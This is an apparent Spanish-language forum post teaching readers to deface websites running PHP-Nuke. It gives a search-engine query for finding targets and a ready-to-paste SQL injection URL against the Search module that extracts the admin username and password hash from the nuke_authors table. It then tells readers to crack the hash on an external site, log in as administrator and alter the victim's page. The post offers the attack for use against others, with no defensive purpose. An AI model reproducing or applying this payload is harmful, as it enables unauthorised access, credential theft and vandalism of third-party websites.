bueno aca les dejo una tecnica para defacear en php nuke
ponen esto en el google:
modules.php?name=Statistics Version PHP-Nuke
Buscan la pagina web victima q crean q es y ponen la siguiente inyeccion sql en la barra de direcciones despues del slash(/)
modules.php?name=Search&type=comments&%20%20%20query=&%20%20%20query=loquesea&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors
si es vulnerable les dara el hash del admin y el nombre de usuario
cuando tenga el hash solo crackean y listo ya pueden entrar como admin y modificar la pagina.
pueden crackearlo aqui :
Para ver este enlace Registrate o Inicia Sesionwww.milw0rm.co m/cracker/
salu2.... me cuentan como les fue jeje.